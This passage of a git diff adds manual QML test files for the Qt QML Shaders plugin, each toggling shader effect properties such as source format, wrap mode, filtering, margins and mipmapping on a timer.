+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ id :root
+ anchors.fill: parent;
+ color: "green"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ effect1.visible = !effect1.visible
+ effect2.visible = !effect2.visible
+ //effect3.visible = !effect3.visible
+ }
+ }
+
+ Rectangle {
+ id: a
+ x: 90
+ y: 90
+ color: "red"
+ width: 220
+ height: 220
+ Rectangle {
+ id: b
+ x: 10
+ y: 10
+ color: "blue"
+ width: 100
+ height: 100
+ rotation: 5
+ Rectangle {
+ id: c
+ x: 10
+ y: 10
+ color: "black"
+ width: 80
+ height: 80
+ }
+ }
+ Rectangle {
+ id: d
+ x: 10
+ y: 110
+ color: "yellow"
+ width: 100
+ height: 100
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect1
+ anchors.fill: a
+ property variant source: ShaderEffectSource{ sourceItem: a; hideSource: true }
+ }
+
+ ShaderEffectItem {
+ id: effect2
+ x: 100
+ y: 100
+ width: 100
+ height: 100
+ rotation: 5
+ property variant source: ShaderEffectSource{ sourceItem: b; hideSource: true }
+ }
+
+// ShaderEffectItem {
+// id: effect3
+// x: 110
+// y: 210
+// width: 80
+// height: 80
+// property variant source: ShaderEffectSource{ sourceItem: c; hideSource: true }
+// }
+
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: effect1.visible ? "Effects active" : "Effects NOT active"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectInsideAnotherEffect.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectInsideAnotherEffect.qml
new file mode 100644
index 00000000..5030eb36
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectInsideAnotherEffect.qml
@@ -0,0 +1,119 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "green"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+
+ }
+ }
+
+ Rectangle {
+ id: theSource
+ color: "red"
+ anchors.centerIn: parent;
+ width: parent.width/2
+ height: parent.height/2
+ }
+
+ ShaderEffectItem {
+ id: effect1
+ anchors.fill: theSource;
+ property variant source: ShaderEffectSource{ sourceItem: theSource; hideSource: true }
+ }
+
+ ShaderEffectItem {
+ id: effect2
+ anchors.fill: effect1;
+ property variant source: effect1
+
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ void main(void)
+ {
+ gl_FragColor = vec4(texture2D(source, qt_TexCoord0.st).rgb, 1.0);
+ }
+ "
+ }
+
+ ShaderEffectItem {
+ id: effect3
+ x: effect2.x
+ y: effect2.y
+ width: effect2.width
+ height: effect2.height
+
+ property variant source: ShaderEffectSource { sourceItem: effect2 ; hideSource: false }
+
+ fragmentShader:
+ "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ void main(void)
+ {
+ gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);
+ }
+ "
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Red rect inside green fullscreen rect."
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFormat.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFormat.qml
new file mode 100644
index 00000000..3a7d33d6
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFormat.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "gray"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (theSource.format == ShaderEffectSource.Alpha)
+ theSource.format = ShaderEffectSource.RGB
+ else if (theSource.format == ShaderEffectSource.RGB)
+ theSource.format = ShaderEffectSource.RGBA
+ else if (theSource.format == ShaderEffectSource.RGBA)
+ theSource.format = ShaderEffectSource.Alpha
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.centerIn: parent
+ width: parent.width
+ height: parent.height
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Source format test: " + theSource.format
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFragmentShader.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFragmentShader.qml
new file mode 100644
index 00000000..87cbac3b
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFragmentShader.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ effect.fragmentShader == effect.redFragmentShader ? effect.fragmentShader = effect.greenFragmentShader : effect.fragmentShader = effect.redFragmentShader
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+
+ property string redFragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);
+ }
+ "
+
+ property string greenFragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(0.0, 1.0, 0.0, 1.0);
+ }
+ "
+
+ fragmentShader: redFragmentShader
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: effect.fragmentShader == effect.redFragmentShader ? "Effect (display should be red)" : "Effect (display should be green)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestGrab.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestGrab.qml
new file mode 100644
index 00000000..9c1a731c
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestGrab.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ console.log("Grabbed!")
+ theSource.grab();
+ }
+ }
+
+ Image {
+ id: theSourcImage
+ source: "image_opaque.png"
+ opacity: 0.5
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: theSourcImage
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.centerIn: parent
+ width: parent.width
+ height: parent.height
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Effect with grab (opacity 0.5)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHideOriginal.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHideOriginal.qml
new file mode 100644
index 00000000..5122fcb8
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHideOriginal.qml
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "green"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ //theSource.hideOriginal = !theSource.hideOriginal
+ theSource.hideSource = !theSource.hideSource
+ }
+ }
+
+ Rectangle {
+ id: redRect
+ anchors.fill: parent;
+ color: "red"
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: redRect
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ void main() {
+ // Empty fragmentshader, we do not write any pixels via this effect item. We only observe hideoriginal functionality.
+ }
+ "
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ //text: theSource.hideOriginal ? "Hideoriginal true (display should be green)" : "Hideoriginal false (display should be red)"
+ text: theSource.hideSource ? "HideSource true (display should be green)" : "HideSource false (display should be red)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHorizontalWrap.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHorizontalWrap.qml
new file mode 100644
index 00000000..003e9455
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHorizontalWrap.qml
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ theSource.wrapMode == ShaderEffectSource.RepeatHorizontally ? theSource.wrapMode = ShaderEffectSource.ClampToEdge : theSource.wrapMode = ShaderEffectSource.RepeatHorizontally
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image_small.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+
+ fragmentShader: "
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ highp vec2 tex = qt_TexCoord0 * 4.0;
+ gl_FragColor = texture2D(source, tex);
+ }
+ "
+
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.wrapMode == ShaderEffectSource.RepeatHorizontally ? "HorizontalWrap RepeatHorizontally" : "HorizontalWrap ClampToEdge"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageFiltering.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageFiltering.qml
new file mode 100644
index 00000000..fbec2000
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageFiltering.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ theSource.smooth = !theSource.smooth
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ width: parent.width * 2.0
+ height: parent.height * 2.0
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: !theSource.smooth ? "Filtering nearest (faster)" : "Filtering linear (better quality)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMargins.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMargins.qml
new file mode 100644
index 00000000..96dbb119
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMargins.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ id: imageMarginTester
+ anchors.fill: parent;
+ color: "green"
+ property real testMarginX: 10
+ property real testMarginY: 10
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+
+ onTriggered: {
+ if (imageMarginTester.testMarginX < 20) {
+ imageMarginTester.testMarginX = 50
+ imageMarginTester.testMarginY = 120
+ }
+ else {
+ imageMarginTester.testMarginX = 10
+ imageMarginTester.testMarginY = 10
+ }
+
+ console.log("onTriggered...")
+ theSource.sourceRect = Qt.rect(-testMarginX, -testMarginY, parent.width + testMarginX*2, parent.height + testMarginY*2)
+ console.log("onTriggered done")
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceImage: "image_opaque.png"
+ sourceRect: Qt.rect(-10,-10, parent.width + 2*10, parent.height + 2*10)
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.sourceRect.width == 0 ? "No margins" : "Green margins " + imageMarginTester.testMarginX + "x" + imageMarginTester.testMarginY
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMarginsWithTextureSize.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMarginsWithTextureSize.qml
new file mode 100644
index 00000000..c5cc0de6
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMarginsWithTextureSize.qml
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ id: marginTester
+ anchors.fill: parent;
+ color: "green"
+ property real testMarginX: 10
+ property real testMarginY: 10
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (marginTester.testMarginX < 20) {
+ marginTester.testMarginX = 50
+ marginTester.testMarginY = 120
+ }
+ else {
+ marginTester.testMarginX = 10
+ marginTester.testMarginY = 10
+ }
+
+ theSource.sourceRect = Qt.rect(-testMarginX, -testMarginY, parent.width + testMarginX*2, parent.height + testMarginY*2)
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceImage: "image_opaque.png"
+ textureSize: Qt.size(160,160)
+ sourceRect: Qt.rect(-10,-10, parent.width + 2*10, parent.height + 2*10)
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.sourceRect.width == 0 ? "No margins" : "Green margins " + marginTester.testMarginX + "x" + marginTester.testMarginY
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMipmap.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMipmap.qml
new file mode 100644
index 00000000..3066f9ca
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMipmap.qml
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (theSource.mipmap && theSource.smooth){
+ theSource.smooth = false
+ } else if (theSource.mipmap && !theSource.smooth){
+ theSource.smooth = true
+ theSource.mipmap = false
+ } else if (!theSource.mipmap && theSource.smooth){
+ theSource.smooth = false
+ } else if (!theSource.mipmap && !theSource.smooth){
+ theSource.smooth = true
+ theSource.mipmap = true
+ }
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceImage: "wallpaper.jpg"
+ mipmap: false
+ smooth: false
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.centerIn: parent;
+ width: parent.width * 0.8
+ height: parent.height * 0.8
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
